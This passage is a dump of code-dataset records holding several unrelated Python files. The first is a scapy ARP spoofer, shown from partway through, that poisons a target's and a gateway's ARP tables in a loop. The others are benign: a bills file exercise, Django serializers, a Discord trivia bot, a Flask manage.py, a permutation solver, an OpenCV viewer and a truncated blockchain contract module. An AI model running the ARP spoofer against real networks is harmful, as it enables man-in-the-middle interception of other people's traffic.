Address\")\n parser.add_option(\"-g\", \"--gateway\", dest=\"gateway\", help=\"Gateway IP Address\")\n (options, arguments) = parser.parse_args()\n if not options.target:\n parser.error(\"[-] Please specify Target IP Address\")\n elif not options.gateway:\n parser.error(\"[-] Please specify Gateway IP Address\")\n return options\n\n\ndef restore(destination_ip, source_ip):\n dest_mac = get_mac(destination_ip)\n source_mac = get_mac(source_ip)\n packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=dest_mac, psrc=source_ip, hwsrc=source_mac)\n scapy.send(packet, count=4, verbose=False)\n\n\ndef spoof(target_ip, spoof_ip):\n target_mac = get_mac(target_ip)\n packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)\n scapy.send(packet, verbose=False)\n\n\noptions=get_arguments()\ntarget=options.target\ngateway=options.gateway\nsent_packet_count = 0\ntry:\n while True:\n spoof(target, gateway)\n spoof(gateway, target)\n sent_packet_count += 2\n print(\"\\r[+] Packet Sent: \" + str(sent_packet_count))#, end=\"\"\n time.sleep(2)\nexcept KeyboardInterrupt:\n print(\"\\n[-] Detected CTRL + C ..... Resetting ARP Tables...Please wait!!!\")\n restore(target, gateway)\n restore(gateway, target)\n","sub_path":"Arp_Spoofer/arp-spoofer.py","file_name":"arp-spoofer.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"193554199","text":"''' File handling
\n\nFunction 1:\nSomu want to create a file with all his bills so far, so take input from him until he says Done, and write it to a file, Bill no\\tDate(DD/MM/YYYY)\\tBill_amount\n\nFunction 2:\nNow Somu wants to know what is his total expense out of bills. \n(optional) see if you can generate sub totals for each month. '''\nfile_access = open('bill1.txt','w+')\nfile_access.write(\"Bill No Bill Date Bill Amount\"+'\\n')\namount = 0\nwhile(True):\n print(\"Menu\\n1.Create a bill\\n2.Total Expance\\n3.Exit\")\n choice = int(input(\"Enter your choice:\"))\n if(choice == 1):\n while(True):\n user_input = input(\"Enter your choice(Say 'Bye' to exit 's' to continue):\")\n if(user_input == 's'):\n data = ''\n bill_nu = input(\"Enter Bill number:\")\n bill_date = input(\"Enter Bill Date:\")\n bill_amount = input(\"Enter Bill Amount:\")\n data = bill_nu+'\\t'+bill_date+'\\t'+bill_amount\n file_access.write(data+'\\n')\n else:\n break\n print(\"Successfully saved\")\n file_access.close()\n file_access_read = open('bill1.txt','r+')\n file_data = file_access_read.read()\n print(file_data)\n elif(choice == 2):\n file_access_read = open('bill1.txt','r+')\n file_data = file_access_read.read()\n #print(file_data)\n if(len(file_data) == 0):\n print(\"Empty Bill\")\n file_access_read.close()\n else:\n bill_list = file_data.split('\\n')\n #print(bill_list)\n for i in range(1,len(bill_list)-1):\n bill_list_lines = bill_list[i].split('\\t')\n #print(bill_list_lines[2])\n amount = amount + int(bill_list_lines[2])\n print(\"Total Expances is:\",amount)\n file_access_read.close()\n elif(choice == 3):\n print(\"Your are choosing Exit\")\n break\n \n else:\n print(\"Invalid choice. Choose right choice\")","sub_path":"shiva/Python_Programs-master/file_handling.py","file_name":"file_handling.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"341000618","text":"\nfrom rest_framework.serializers import (ModelSerializer, SerializerMethodField,\n SlugRelatedField, CharField, ReadOnlyField)\nfrom rest_framework.validators import UniqueTogetherValidator\nfrom rest_framework import serializers\nfrom taskapp.models import Role,Employee,Task,Comments\n\nclass RoleSerializer(ModelSerializer):\n class Meta:\n model = Role\n\nclass EmployeeSerializer(ModelSerializer):\n \"\"\"\n Displaying Team Members in Dictionary Format\n \"\"\"\n first_name = SerializerMethodField()\n last_name = SerializerMethodField()\n email = SerializerMethodField()\n role = SerializerMethodField()\n created_date = SerializerMethodField()\n modified_date = SerializerMethodField()\n\n class Meta:\n model = Employee\n fields = ('id', 'first_name','last_name', 'email', 'role',\n 'created_date', 'modified_date')\n\nclass TaskSerializer(ModelSerializer):\n\n def validate(self, data):\n \"\"\"\n Check that the start is before the stop.\n \"\"\"\n if data['start_date'] > data['end_date']:\n raise serializers.ValidationError(\"end_date must be greater than start date\")\n return data\n\n class Meta:\n model = Task\n fields = ('id', 'title', 'description', 'priority','time', 'start_date',\n 'end_date','is_status')\n\nclass CommentsSerializer(ModelSerializer):\n\n class Meta:\n model = Comments\n exclude = ['created_by', 'updated_by']","sub_path":"taskapp/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"227994696","text":"import discord\nimport os\nimport random\nimport pickle\nimport time\n\nwith open(\"/home/jakobw/.config/discord/bots/lotr-bot/token.tk\",\"r\") as tokenfile:\n token = tokenfile.readline().strip()\n \nmarker = '*'\ninsults = [\"Stupid fat hobbit! ~Smeagol\",\"Fool of a took! ~Gandalf\",\"I would cut off your head {}... if it stood but a little higher from the ground. ~Éomer\",\n\"Dotard! What is the house of {} but a thatched barn where brigands drink in the reek, and their brats roll on the floor among the dogs? ~Saruman\",\n\"Hey, Stinker! Don't go getting too far behind. ~Sam\"]\ncompliments = [\"Well done, my dear hobbit!\",\"{}, you should be counted amongst the wise of middleearth.\",\"I could not have done it better myself!\"]\nscoreboard = {}\nclass PendingEvent():\n def __init__(self,correct_ind,author,timestamp,channel):\n self.correct_ind = correct_ind\n self.author = author\n self.timestamp = timestamp\n self.channel = channel\n\npending = []\n\ndef format_questionString(user,num,question,answers):\n ans_str = \"\"\n for i in range(0,len(answers)):\n ans_str += \" {}) {}\\n\".format(i+1,answers[i])\n out = \"**LotR trivia quiz for {} (number {})**```\\n {}\\n\\n{}```\"\"\".format(user,num,question,ans_str)\n return out\n\ndef stripName(name):\n return str(name).split(\"#\")[0]\n\ndef createMsg(insult,user):\n if insult:\n msg = \"`\"+insults[random.randint(0,len(insults)-1)]+\"`\"\n else:\n msg = \"`\"+compliments[random.randint(0,len(compliments)-1)]+\"`\"\n if \"{}\" in msg:\n return msg.format(user)\n return msg\n\nclass MyClient(discord.Client):\n\n async def on_ready(self):\n print(\"Booting up... \")\n print(\"Setting status...\")\n\n # sets status to \"watching Boromir die\"\n await self.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name=\"Boromir die\"))\n print(\"done.\")\n \n # importing the questions from the .csv file\n print(\"Attempting to import the questions from questions.csv...\")\n self.questions = []\n try:\n with open(\"questions.csv\",\"r\") as q_file:\n # one line, one question\n for line in q_file.readlines():\n # strip the line of trailing whitespaces, then split at ', and cut the first and last element off\n items = line.strip().split('\\'')[1:-1]\n\n # remove all entries that contain only ','\n while ',' in items:\n items.remove(',')\n\n # search for the (ultimate) answer\n for item in items: \n # if item is marked\n if item.startswith(marker):\n\n # get index and remove marker, add the correct index (-1 for the question) to the back of the list\n index = items.index(item)\n items[index] = items[index][1:]\n items.append(index-1)\n break\n \n # add it to the questions\n self.questions.append(items)\n\n print(\"done.\")\n \n # if file does not exist, exit.\n except FileNotFoundError:\n print(\"failed. questions.csv not found. Aborting.\")\n exit(-1)\n \n print(\"online. All systems operational.\")\n\n\n async def on_message(self, message):\n if message.author == client.user:\n return\n\n # check for user who sended the message\n for pend_event in pending:\n\n # if author and the channel matches\n if message.author == pend_event.author and message.channel == pend_event.channel:\n\n # try to parse the answer given to an int\n content = scoreboard[message.author]\n try:\n answer = int(message.content)\n # if answer is correct:\n if answer == pend_event.correct_ind:\n await message.channel.send(createMsg(False,stripName(message.author)))\n scoreboard[message.author] = (scoreboard[message.author][0],content[1]+1)\n # if not:\n else:\n await message.channel.send(createMsg(True,stripName(message.author)))\n except ValueError:\n await message.channel.send(createMsg(True,stripName(message.author))+\"\\nThis is not a valid answer! Don't you know how to count to four?\")\n pending.remove(pend_event)\n break\n \n # if the message is the trivia command\n if message.content == \"lotriv\":\n # get random question\n answers = self.questions[random.randint(0,len(self.questions)-1)].copy()\n # strip the question (first element)\n question = answers.pop(0)\n # get the correct answer from the last element of the list\n correct_answer = answers[int(answers[len(answers)-1])]\n # remove the last element (the correct index)\n answers.pop()\n\n # if the author is already in the scoreboard, retrieve info\n if message.author in scoreboard.keys():\n print(\"in keys!\")\n content = scoreboard[message.author]\n count = content[0]\n print(\"content: {}\".format(content))\n else:\n print(\"not in keys!\")\n scoreboard[message.author] = (1,0)\n count = 1\n\n # shuffle answers\n random.shuffle(answers) \n\n # save the correct index, plus 1 (for GUI)\n ind = answers.index(correct_answer) + 1\n\n # send the question message\n await message.channel.send(format_questionString(stripName(message.author),count,question,answers))\n\n # create a new pending object\n newpending = PendingEvent(ind,message.author,message.created_at,message.channel)\n\n # append to pending list (lol)\n pending.append(newpending)\n\n elif message.content == \"lotrprofile\":\n if message.author in scoreboard:\n content = scoreboard[message.author]\n await message.channel.send(\"Profile for {}\\n```Total played trivia games: {}\\nTotal trivia won games :{}\".format(stripName(message.author),content[0],content[1]))\n\ntry:\n with open(\"scoreboard.pyobj\", 'rb') as sc_file:\n scoreboard = pickle.load(sc_file)\nexcept (FileNotFoundError,EOFError):\n print(\"scoreboard file not found, skipping.\")\n\n# create the client object\nclient = MyClient()\n\ntry:\n client.run(token)\n print(\"\\nShutting down...\")\n with open(\"scoreboard.pyobj\", 'wb') as sc_file:\n pickle.dump(scoreboard,sc_file)\n\nexcept (KeyboardInterrupt,RuntimeError):\n print(\"\\nShutting down...\")\n with open(\"scoreboard.pyobj\", 'wb') as sc_file:\n pickle.dump(scoreboard,sc_file)","sub_path":"lotrbot.py","file_name":"lotrbot.py","file_ext":"py","file_size_in_byte":7031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"590962758","text":"# manage.py\n\nimport sys\nimport os\nimport csv\nfrom tempfile import NamedTemporaryFile\n\nfrom flask_migrate import Migrate, MigrateCommand\nfrom flask_script import Manager, Shell\nfrom flask_script.commands import InvalidCommand\n\nfrom app import create_app, db\nfrom app.models import (\n Users,\n Agencies,\n Requests,\n Responses,\n Events,\n Reasons,\n Roles,\n UserRequests,\n AgencyUsers\n)\nfrom app.request.utils import (\n generate_guid\n)\nfrom app.constants import user_type_auth\nfrom app.lib.user_information import create_mailing_address\n\nCOV = None\nif os.environ.get('FLASK_COVERAGE'):\n import coverage\n\n COV = coverage.coverage(branch=True, include='app/*', config_file=os.path.join(os.curdir, '.coveragerc'))\n COV.start()\n\napp = create_app(os.getenv('FLASK_CONFIG') or 'default', jobs_enabled=False)\nmanager = Manager(app)\nmigrate = Migrate(app, db)\n\n\n# class Celery(Command):\n# \"\"\"\n# Start Celery\n# \"\"\"\n#\n# # TODO: autoreload and background options?\n# # http://stackoverflow.com/questions/21666229/celery-auto-reload-on-any-changes\n# # http://docs.celeryproject.org/en/latest/tutorials/daemonizing.html\n#\n# def run(self):\n# subprocess.call(['celery', 'worker', '-A', 'celery_worker.celery', '--loglevel=info'])\n\ndef make_shell_context():\n return dict(\n app=app,\n db=db,\n Users=Users,\n Agencies=Agencies,\n Requests=Requests,\n Responses=Responses,\n Events=Events,\n Reasons=Reasons,\n Roles=Roles,\n UserRequests=UserRequests,\n AgencyUsers=AgencyUsers\n )\n\n\nmanager.add_command(\"shell\", Shell(make_context=make_shell_context))\nmanager.add_command(\"db\", MigrateCommand)\n\n\n# manager.add_command(\"celery\", Celery())\n\n@manager.option('-f', '--fname', dest='first_name', default=None)\n@manager.option('-l', '--lname', dest='last_name', default=None)\n@manager.option('-e', '--email', dest='email', default=None)\n@manager.option('-a', '--agency-ein', dest='ein', default=None)\n@manager.option('--is-admin', dest='is_admin', default=False)\n@manager.option('--is-active', dest='is_active', default=False)\ndef create_user(first_name=None, last_name=None, email=None, ein=None, is_admin=False, is_active=False):\n \"\"\"Create an agency user.\"\"\"\n if first_name is None:\n raise InvalidCommand(\"First name is required\")\n\n if last_name is None:\n raise InvalidCommand(\"Last name is required\")\n\n if email is None:\n raise InvalidCommand(\"Email is required\")\n\n if ein is None:\n raise InvalidCommand(\"Agency EIN is required\")\n\n user = Users(\n guid=generate_guid(),\n auth_user_type=user_type_auth.AGENCY_LDAP_USER,\n email=email,\n first_name=first_name,\n last_name=last_name,\n title=None,\n organization=None,\n email_validated=True,\n terms_of_use_accepted=True,\n phone_number=None,\n fax_number=None,\n mailing_address=create_mailing_address(None, None, None, None)\n )\n db.session.add(user)\n\n agency_user = AgencyUsers(\n user_guid=user.guid,\n auth_user_type=user.auth_user_type,\n agency_ein=ein,\n is_agency_active=is_active,\n is_agency_admin=is_admin,\n is_primary_agency=True\n )\n db.session.add(agency_user)\n db.session.commit()\n\n print(user)\n\n\n@manager.option('-u', '--users', dest='users', action='store_true', default=False, required=False)\n@manager.option('-a', '--agencies', dest='agencies', action='store_true', default=False, required=False)\n@manager.option('-f', '--filename', dest='filename', default=None, required=True)\ndef import_data(users, agencies, filename):\n \"\"\"Import data from CSV file.\"\"\"\n if users:\n Users.populate(csv_name=filename)\n elif agencies:\n Agencies.populate(csv_name=filename)\n\n\n@manager.option(\"-t\", \"--test-name\", help=\"Specify tests (file, class, or specific test)\", dest='test_name')\n@manager.option(\"-c\", \"--coverage\", help=\"Run coverage analysis for tests\", dest='cov')\ndef test(cov=False, test_name=None):\n \"\"\"Run the unit tests.\"\"\"\n if cov and not os.environ.get('FLASK_COVERAGE'):\n import sys\n os.environ['FLASK_COVERAGE'] = '1'\n os.execvp(sys.executable, [sys.executable] + sys.argv)\n import unittest\n if not test_name:\n tests = unittest.TestLoader().discover('tests', pattern='*.py')\n else:\n tests = unittest.TestLoader().loadTestsFromName('tests.' + test_name)\n unittest.TextTestRunner(verbosity=2).run(tests)\n\n if COV:\n COV.stop()\n COV.save()\n print('Coverage Summary:')\n COV.report()\n COV.html_report()\n COV.xml_report()\n\n\n@manager.command\ndef profile(length=25, profile_dir=None):\n \"\"\"Start the application under the code profiler.\"\"\"\n from werkzeug.contrib.profiler import ProfilerMiddleware\n app.wsgi_app = ProfilerMiddleware(app.wsgi_app, restrictions=[length],\n profile_dir=profile_dir)\n app.run()\n\n\n@manager.command\ndef deploy():\n \"\"\"Run deployment tasks.\"\"\"\n from flask_migrate import upgrade\n from app.models import Roles, Agencies, Reasons\n\n # migrate database to latest revision\n upgrade()\n\n # pre-populate\n list(map(lambda x: x.populate(), (\n Roles,\n Agencies,\n Reasons,\n Users\n )))\n\n es_recreate()\n\n\n@manager.command\ndef es_recreate():\n \"\"\"Recreate elasticsearch index and request docs.\"\"\"\n from app.search.utils import recreate\n recreate()\n\n\n@manager.command\ndef fix_due_dates(): # for \"America/New_York\"\n \"\"\"\n Forgot to set due date hour to 5:00 PM in migration script before\n converting to utc. Besides having the incorrect time, this also means\n certain due dates do not fall on business days.\n \"\"\"\n from app.lib.db_utils import update_object\n for request in Requests.query.all():\n update_object(\n {\"due_date\": request.due_date.replace(hour=22, minute=00, second=00, microsecond=00)},\n Requests,\n request.id)\n\n\n@manager.command\ndef fix_anonymous_requesters():\n \"\"\"\n Ensures there is only one anonymous requester per request by\n creating a new anonymous requester (User) for every User Requests record with\n a duplicate anonymous requester guid and updates the User Requests record.\n The new user will be identical to the existing one with the exception of the guid.\n \"\"\"\n from app.constants import user_type_request\n from app.request.utils import generate_guid\n from app.lib.db_utils import create_object, update_object\n\n guids = db.engine.execute(\"\"\"\n SELECT\n user_requests.user_guid AS \"GUID\"\n FROM user_requests\n JOIN users ON user_requests.user_guid = users.guid AND user_requests.auth_user_type = users.auth_user_type\n WHERE user_requests.request_user_type = 'requester'\n GROUP BY user_requests.user_guid\n HAVING COUNT(user_requests.request_id) > 1;\n \"\"\")\n\n for guid, in guids:\n # get all User Requests with dups, excluding the first (since we need to change all but 1)\n for ur in UserRequests.query.filter_by(\n user_guid=guid, request_user_type=user_type_request.REQUESTER\n ).offset(1):\n user = Users.query.filter_by(guid=guid, auth_user_type=user_type_auth.ANONYMOUS_USER).one()\n new_guid = generate_guid()\n print(\"{} -> {}\".format(guid, new_guid))\n # create new anonymous requester with new guid\n create_object(\n Users(\n guid=new_guid,\n auth_user_type=user_type_auth.ANONYMOUS_USER,\n email=user.email,\n first_name=user.first_name,\n last_name=user.last_name,\n title=user.title,\n organization=user.organization,\n email_validated=False,\n terms_of_use_accepted=False,\n phone_number=user.phone_number,\n fax_number=user.fax_number,\n mailing_address=user.mailing_address\n )\n )\n # update user request with new guid\n update_object(\n {\"user_guid\": new_guid},\n UserRequests,\n (ur.user_guid, ur.auth_user_type, ur.request_id)\n )\n\n\n@manager.option('-i', '--input', help='Full path to input csv.', default=None)\n@manager.option('-o', '--ouput', help='Full path to output csv. File will be overwritten.', default=None)\ndef convert_staff_csvs(input=None, output=None):\n \"\"\"\n Convert data from staff.csv to new format to accomodate multi-agency users.\n\n :param input: Input file path. Must be a valid CSV.\n :param output: Output file path\n \"\"\"\n if input is None:\n raise InvalidCommand(\"Input CSV is required.\")\n\n if output is None:\n raise InvalidCommand(\"Output CSV is required.\")\n\n read_file = None\n\n if output == input:\n read_file = None\n with open(input, 'r').read() as _:\n read_file = csv.DictReader(_)\n\n temp_write_file = NamedTemporaryFile()\n\n with open(temp_write_file.name, 'w') as temp:\n for row in read_file:\n try:\n print(\n '\"{ein}#{is_active}#{is_admin}#True\",\"{is_super}\",\"{first_name}\",\"{middle_initial}\",\"{last_name}\",\"{email}\",\"{email_validated}\",\"{terms_of_use_accepted}\",\"{phone_number}\",\"{fax_number}\"'.format(\n ein=row['agency_ein'],\n is_active=row['is_agency_active'],\n is_admin=row['is_agency_admin'],\n is_super=eval(row['is_super']),\n first_name=row['first_name'],\n middle_initial=row['middle_initial'],\n last_name=row['last_name'],\n email=row['email'],\n email_validated=eval(row['email_validated']),\n terms_of_use_accepted=eval(row['terms_of_use_accepted']),\n phone_number=row['phone_number'],\n fax_number=row['fax_number']\n ), file=temp_write_file)\n except:\n continue\n\n\n@manager.command\ndef migrate_to_agency_request_summary():\n \"\"\"\n Updates the events table in the database to use 'agency_request_summary' wherever 'agency_description' was used.\n \n \"\"\"\n\n agency_description_types = ['request_agency_description_edited', 'request_agency_description_date_set',\n 'request_agency_description_privacy_edited']\n\n for event in Events.query.filter(Events.type.like('%agency_description%')).all():\n if event.type in agency_description_types:\n event.type = event.type.replace('description', 'request_summary')\n previous_value = event.previous_value\n\n if previous_value:\n for key in previous_value.keys():\n if key == 'agency_description':\n previous_value['agency_request_summary'] = previous_value[key]\n del previous_value[key]\n\n new_value = event.new_value\n if new_value:\n for key in new_value.keys():\n if key == 'agency_description':\n new_value['agency_request_summary'] = new_value[key]\n del new_value[key]\n\n db.session.add(event)\n\n for request in Requests.query.all():\n old = request.privacy\n if 'agency_description' in request.privacy.keys():\n request.privacy = None\n request.privacy = {\n 'agency_request_summary': old['agency_description'],\n 'title': old['title']\n }\n db.session.add(request)\n\n db.session.commit()\n\n\n@manager.command\ndef migrate_to_agencyusers():\n \"\"\"Migrate Users and Agencies to Users + Agencies + AgencyUsers.\"\"\"\n users = Users.query.with_entities(Users.guid,\n Users.auth_user_type,\n Users.agency_ein,\n Users.is_agency_admin,\n Users.is_agency_active\n ).filter(Users.auth_user_type == user_type_auth.AGENCY_LDAP_USER).all()\n\n for user in users:\n guid, user_type, ein, is_admin, is_active = user\n agency_user = AgencyUsers(\n user_guid=guid,\n auth_user_type=user_type,\n agency_ein=ein,\n is_agency_active=is_active,\n is_agency_admin=is_admin,\n is_primary_agency=True\n )\n db.session.add(agency_user)\n\n db.session.commit()\n\n\n@manager.command\ndef routes():\n from flask import url_for\n from urllib.parse import unquote\n output = []\n for rule in app.url_map.iter_rules():\n options = {}\n for arg in rule.arguments:\n if arg == 'year':\n from datetime import datetime\n options[arg] = \"{}\".format(datetime.now().year)\n continue\n options[arg] = \"[{}]\".format(arg)\n\n methods = ','.join(rule.methods)\n url = url_for(rule.endpoint, **options)\n from datetime import datetime\n if str(datetime.now().year) in url:\n url = url.replace(str(datetime.now().year), '[year]')\n line = unquote(\"{:50} {:20} {}\".format(rule.endpoint, methods, url))\n\n output.append(line)\n\n for line in sorted(output):\n print(line)\n\n\nif __name__ == \"__main__\":\n try:\n manager.run()\n except InvalidCommand as err:\n print(err, file=sys.stderr)\n sys.exit(1)\n","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":13946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"163215018","text":"# Returns the number of tile possibilites\n\nclass Solution:\n def numTilePossibilities(self, tiles: str) -> int:\n length = len(tiles)\n freq = []\n unqstr = list(set(list(tiles)))\n copyTiles= list(tiles).copy()\n\n # finding frequency of all the lower\n # case alphabet and storing them in\n # array of integer\n for i in range(0, len(unqstr)):\n occ = 0\n while (unqstr[i] in list(copyTiles)):\n copyTiles.remove(unqstr[i])\n occ += 1\n freq.append(occ)\n\n # finding factorial of number of\n # appearances and multiplying them\n # since they are repeating alphabets\n fact = 1\n for i in range(0, len(freq)):\n fact = fact * self.factorial(freq[i])\n\n # finding factorial of size of string\n # and dividing it by factorial found\n # after multiplying\n return self.factorial(length) / fact\n\n def factorial(self, n):\n if (n == 1):\n return 1\n else:\n return n * self.factorial(n-1)\n\nprint(str(Solution().numTilePossibilities(\"AAABBC\")))","sub_path":"Problem Set Two/permutations.py","file_name":"permutations.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"176241434","text":"import numpy as np\nimport cv2\n\nclass Visor(object):\n numero_ventana=0\n def __init__(self,columnas):\n self.image_width = 336\n self.image_height = 256\n self.columnas = columnas\n self.ventana = np.ones((self.image_height,self.image_width*self.columnas,3), dtype='uint8') * 255\n self.c=0\n self.f=0\n self.sum_widths=0\n\n\n def add(self,image,crop=1):\n image_width = image.shape[1]\n image_height = image.shape[0]\n\n if crop == 1 and image.shape[1] > self.image_width:\n image = image[0:self.image_height, 0:self.image_width] #Cropping image leyend\n\n\n if self.c>(self.columnas-1) or (self.sum_widths+image.shape[1])>self.image_width*self.columnas:\n self.c=0\n self.f+=1\n self.sum_widths=0\n #\n self.ventana = np.vstack([self.ventana,np.ones((self.image_height,self.image_width*self.columnas,3), dtype='uint8') * 255])\n\n self.ventana[self.f*image_height:(self.f+1)*image_height,self.sum_widths:self.sum_widths+image.shape[1]]=image\n self.sum_widths+=image.shape[1]\n\n #Ponemos el texto con el archivos\n #cv2.putText(self.ventana,imagePath,(self.c*image_width,self.f*image_height+12),\n # cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255,0), 2)\n self.c += 1\n\n def show(self):\n cv2.imshow('Visor ' + str(self.numero_ventana), self.ventana)\n self.numero_ventana+=1\n","sub_path":"hsdetector/Visor.py","file_name":"Visor.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"339112787","text":"from bc4py.config import C, BlockChainError\nfrom bc4py.database.builder import builder, tx_builder\nfrom bc4py.database.validator import get_validator_object\nfrom binascii import hexlify\nfrom threading import Lock\nfrom collections import OrderedDict\nfrom copy import deepcopy\nimport bjson\nimport logging\n\n\nM_INIT = 'init'\nM_UPDATE = 'update'\n\n\n# cashe Contract (Storage include Contract.storage)\n# only store database side (not memory, not unconfirmed)\ncashe = dict()\nlock = Lock()\n\n# default setting of Storage\nsettings_template = {\n 'update_binary': True,\n 'update_extra_imports': True}\n\n\nclass Storage(dict):\n __slots__ = (\"c_address\", \"version\")\n\n def __init__(self, c_address=None, init_storage=None):\n super().__init__()\n assert c_address is not None\n # check value is not None\n if init_storage:\n assert isinstance(init_storage, dict)\n self.update(init_storage)\n # check key type\n if len({type(k) for k in init_storage}) > 1:\n raise Exception(\"All key type is same {}\".format([type(k) for k in init_storage]))\n self.c_address = c_address\n self.version = 0\n\n def __repr__(self):\n return \"\".\\\n format(self.c_address, self.version, dict(self.items()))\n\n def copy(self):\n return deepcopy(self)\n\n def marge_diff(self, diff):\n if diff is None:\n return # skip\n for k, v in diff.items():\n if v is None:\n del self[k]\n else:\n self[k] = v\n self.version += 1\n\n def export_diff(self, original_storage):\n # check value is not None\n for v in self.values():\n if v is None:\n raise Exception('Not allowed None value...')\n diff = dict()\n for key in original_storage.keys() | self.keys():\n if key in original_storage and key in self:\n if original_storage[key] != self[key]:\n diff[key] = self[key] # update\n elif key not in original_storage and key in self:\n diff[key] = self[key] # insert\n elif key in original_storage and key not in self:\n diff[key] = None # delete\n # check key type\n if len({type(k) for k in diff}) > 1:\n raise Exception(\"All key type is same {}\".format([type(k) for k in diff]))\n return diff\n\n\nclass Contract:\n __slots__ = (\"c_address\", \"version\", \"db_index\", \"binary\", \"extra_imports\",\n \"storage\", \"settings\", \"start_hash\", \"finish_hash\")\n\n def __init__(self, c_address):\n self.c_address = c_address\n self.version = -1\n self.db_index = None\n self.binary = None\n self.extra_imports = None\n self.storage = None\n self.settings = None\n self.start_hash = None\n self.finish_hash = None\n\n def __repr__(self):\n return \"\".format(self.c_address, self.version)\n\n def copy(self):\n return deepcopy(self)\n\n @property\n def info(self):\n if self.version == -1:\n return None\n d = OrderedDict()\n d['c_address'] = self.c_address\n d['db_index'] = self.db_index\n d['version'] = self.version\n d['binary'] = hexlify(self.binary).decode()\n d['extra_imports'] = self.extra_imports\n d['storage_key'] = len(self.storage)\n d['settings'] = self.settings\n d['start_hash'] = hexlify(self.start_hash).decode()\n d['finish_hash'] = hexlify(self.finish_hash).decode()\n return d\n\n def update(self, db_index, start_hash, finish_hash, c_method, c_args, c_storage):\n if c_method == M_INIT:\n assert self.version == -1\n c_bin, c_extra_imports, c_settings = c_args\n self.binary = c_bin\n self.extra_imports = c_extra_imports or list()\n self.settings = settings_template.copy()\n if c_settings:\n self.settings.update(c_settings)\n c_storage = c_storage or dict()\n self.storage = Storage(c_address=self.c_address, init_storage=c_storage)\n elif c_method == M_UPDATE:\n assert self.version != -1\n c_bin, c_extra_imports, c_settings = c_args\n if self.settings['update_binary']:\n self.binary = c_bin\n if c_settings and not c_settings.get('update_binary', False):\n self.settings['update_binary'] = False\n if self.settings['update_extra_imports']:\n self.extra_imports = c_extra_imports\n if c_settings and not c_settings.get('update_extra_imports', False):\n self.settings['update_extra_imports'] = False\n else:\n assert self.version != -1\n self.storage.marge_diff(c_storage)\n self.version += 1\n self.db_index = db_index\n self.start_hash = start_hash\n self.finish_hash = finish_hash\n\n\ndef decode(b):\n # transfer: [c_address]-[c_method]-[redeem_address]-[c_args]\n # conclude: [c_address]-[start_hash]-[c_storage]\n return bjson.loads(b)\n\n\ndef encode(*args):\n assert len(args) == 3\n return bjson.dumps(args, compress=False)\n\n\ndef contract_fill(c: Contract, best_block=None, best_chain=None, stop_txhash=None):\n # database\n c_iter = builder.db.read_contract_iter(c_address=c.c_address, start_idx=c.db_index)\n for index, start_hash, finish_hash, (c_method, c_args, c_storage) in c_iter:\n if start_hash == stop_txhash or finish_hash == stop_txhash:\n return\n c.update(db_index=index, start_hash=start_hash, finish_hash=finish_hash,\n c_method=c_method, c_args=c_args, c_storage=c_storage)\n # memory\n if best_chain:\n _best_chain = None\n elif best_block and best_block == builder.best_block:\n _best_chain = builder.best_chain\n else:\n dummy, _best_chain = builder.get_best_chain(best_block=best_block)\n for block in reversed(best_chain or _best_chain):\n for tx in block.txs:\n if tx.hash == stop_txhash:\n return\n if tx.type != C.TX_CONCLUDE_CONTRACT:\n continue\n c_address, start_hash, c_storage = decode(tx.message)\n if c_address != c.c_address:\n continue\n if start_hash == stop_txhash:\n return\n start_tx = tx_builder.get_tx(txhash=start_hash)\n dummy, c_method, redeem_address, c_args = decode(start_tx.message)\n index = start_tx2index(start_tx=start_tx)\n c.update(db_index=index, start_hash=start_hash, finish_hash=tx.hash,\n c_method=c_method, c_args=c_args, c_storage=c_storage)\n # unconfirmed (check validator condition satisfied)\n if best_block is None:\n unconfirmed = list()\n for conclude_tx in tuple(tx_builder.unconfirmed.values()):\n if conclude_tx.hash == stop_txhash:\n break\n if conclude_tx.type != C.TX_CONCLUDE_CONTRACT:\n continue\n c_address, start_hash, c_storage = decode(conclude_tx.message)\n if c_address != c.c_address:\n continue\n if start_hash == stop_txhash:\n break\n start_tx = tx_builder.get_tx(txhash=start_hash)\n if start_tx.height is None:\n continue\n sort_key = start_tx2index(start_tx=start_tx)\n unconfirmed.append((c_address, start_tx, conclude_tx, c_storage, sort_key))\n\n v = get_validator_object(c_address=c.c_address, best_block=best_block,\n best_chain=best_chain, stop_txhash=stop_txhash)\n for c_address, start_tx, conclude_tx, c_storage, sort_key in sorted(unconfirmed, key=lambda x: x[4]):\n if len(conclude_tx.signature) < v.require:\n continue # ignore unsatisfied ConcludeTXs\n dummy, c_method, redeem_address, c_args = decode(start_tx.message)\n c.update(db_index=sort_key, start_hash=start_tx.hash, finish_hash=conclude_tx.hash,\n c_method=c_method, c_args=c_args, c_storage=c_storage)\n\n\ndef get_contract_object(c_address, best_block=None, best_chain=None, stop_txhash=None):\n # stop_txhash is StartHash or ConcludeHash. Don't include the hash.\n if c_address in cashe:\n with lock:\n c = cashe[c_address].copy()\n else:\n c = Contract(c_address=c_address)\n contract_fill(c=c, best_block=best_block, best_chain=best_chain, stop_txhash=stop_txhash)\n return c\n\n\ndef get_conclude_by_start_iter(c_address, start_hash, best_block=None, best_chain=None, stop_txhash=None):\n \"\"\" return ConcludeTX's hashes by start_hash iter \"\"\"\n # database\n c_iter = builder.db.read_contract_iter(c_address=c_address)\n for index, _start_hash, finish_hash, (c_method, c_args, c_storage) in c_iter:\n if finish_hash == stop_txhash:\n raise StopIteration\n if _start_hash == start_hash:\n yield finish_hash\n # memory\n if 